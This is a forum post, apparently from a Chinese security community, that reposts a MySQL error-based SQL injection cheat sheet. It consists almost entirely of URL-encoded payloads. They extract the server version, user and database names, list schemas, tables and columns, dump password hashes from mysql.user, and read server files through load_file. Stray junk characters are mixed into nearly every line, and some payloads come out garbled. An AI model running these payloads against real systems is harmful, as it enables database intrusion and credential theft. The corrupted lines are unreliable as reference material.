找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2543|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
! {' y; C7 d3 D3 b) \! a, z
3 N8 l$ C' [0 f. @3 L$ c. i9 ~) v+ \' Y3 Q
Mysql暴错注入参考(pdf),每天一贴。。。
! x' `4 U8 u2 V6 ^$ K- J% k1 ~3 I2 `0 n' O
MySql Error Based Injection Reference9 h- D6 g5 |- I1 M7 Q0 X/ B3 [
[Mysql暴错注入参考]
, m% _' `* Z  H3 |& l6 F5 E. eAuthornig0s1992
# i- Y& w! d; E) aBlog:http://pnig0s1992.blog.51cto.com/, V9 F( X; P1 n
TeAm:http://www.FreeBuf.com/7 ^' x. N% N- z; \* R3 e3 }
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功8 U- |  c! g' k1 ?8 g' f) _
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
) }( l8 \( ?* w查询版本:, F3 E9 C6 w* j2 w- r  C
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+; y+ o) f( W( ~' L, q$ }$ t
join+(select+name_const(@@version,0))b)c)
" l% Q( A# _7 d3 \; r) F; }Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro- |8 U' M; n0 _3 o8 j
up by a)b): N% Y% M$ X$ d
查询当前用户:; d8 M. [$ h( e6 O6 O$ ^
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
$ R; G/ L! n/ W$ m* t" jMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
2 J4 c/ |  t% F  x- i6 v7 rand(0)*2))x+from+information_schema.tables+group+by+x)a)
6 s, @9 L  m1 ], _6 L查询当前数据库:, m; X' X" q5 Y3 F; _
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)0 j2 ?6 A9 F1 [
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo) ^" p+ K, r1 q0 W/ G
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)5 v2 N% A0 j! V
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
$ P- A) r9 N, B6 I8 O( \LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n* o% e  G; ?! i/ \6 g, J
顺序替换0 P. U+ y) ~+ A. Q
爆指定库数目:
  f% T& H) R; J8 l7 Aand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
. r1 P9 U  L. f+ qable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
8 O1 T3 t1 k% j5 _7 \) I+by+x)a)+and+1=1 0x6D7973716C=mysql
- ]/ F! U5 |6 m$ o* H8 i- Z: G依次爆表:5 w  z7 I# n* x$ o) Y& y
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t- G) l9 Q" V1 B: v. l8 ]
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
3 D# ?9 a9 a$ Z7 O6 M2 kbles+group+by+x)a)+and+1=1
3 y" ?+ Q6 Z3 r) {% c$ x& s0x6D7973716C=Mysql 将n顺序替换
6 g. d. g2 Q; ~6 U' Z爆表内字段数目:
1 d5 \5 D& ~7 Qand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE9 n# L" U. a$ D4 e) \* j
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
2 S! C; r2 \; }8 y  f2 M: T0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
" x' J0 v3 g  m0 i! ]依次爆字段:
4 i4 E+ v* A! P8 xand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
- z; S" w: Y5 A( l1 U# M/ Z) c+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1/ Q' \: F" F2 R7 S" T3 J
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换3 g2 x) d* i* ^: K
依次暴内容:
$ v# e0 l  J  @- ]* ?! ~2 \) Dand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche+ f8 e, W: V) \2 q! Y% ]
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
+ T& X: o( S; T% F将n顺序替换
; c( I4 N3 L; N爆文件内容:4 U5 p5 E) m" q! @
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
8 g! d, V% B, E1 T9 }! c5 \5 {9 qfrom+information_schema.tables+group+by+a)b)
3 x: N$ s" c% m! B) C0 Q5 n* v# m0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节! F% I' l/ _8 A9 t' m
Thx for reading.
! L) ~+ w! ?. D4 Q" ^, G% b8 v' P# f+ b6 J+ D. C9 B* c5 i* l
不要下载也可以, * B& H# ~9 ]2 p; f

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表